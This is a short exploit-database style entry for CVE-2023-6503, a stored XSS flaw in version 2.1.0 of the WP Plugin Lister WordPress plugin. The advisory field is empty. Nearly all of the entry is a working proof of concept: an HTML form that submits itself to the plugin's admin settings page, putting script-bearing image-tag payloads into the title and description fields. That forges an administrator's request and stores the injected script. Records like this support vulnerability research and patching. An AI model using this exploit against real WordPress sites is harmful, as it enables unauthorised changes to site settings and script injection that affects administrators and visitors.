CVE: CVE-2023-6503

Name: WP Plugin Lister (wp-plugin-lister)

Version: 2.1.0

Date: 2022-12-09 21:45:23

Advisory: 

Type: Stored XSS

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=plugin_lister.php&time=1670618030" method="POST">
    <input type="text" name="title" value='"><img src=x onerror=alert(1)>'>
    <input type="text" name="description" value='"><img src=x onerror=alert(1)>'>
</form>
<script>
    document.forms[0].submit();
</script>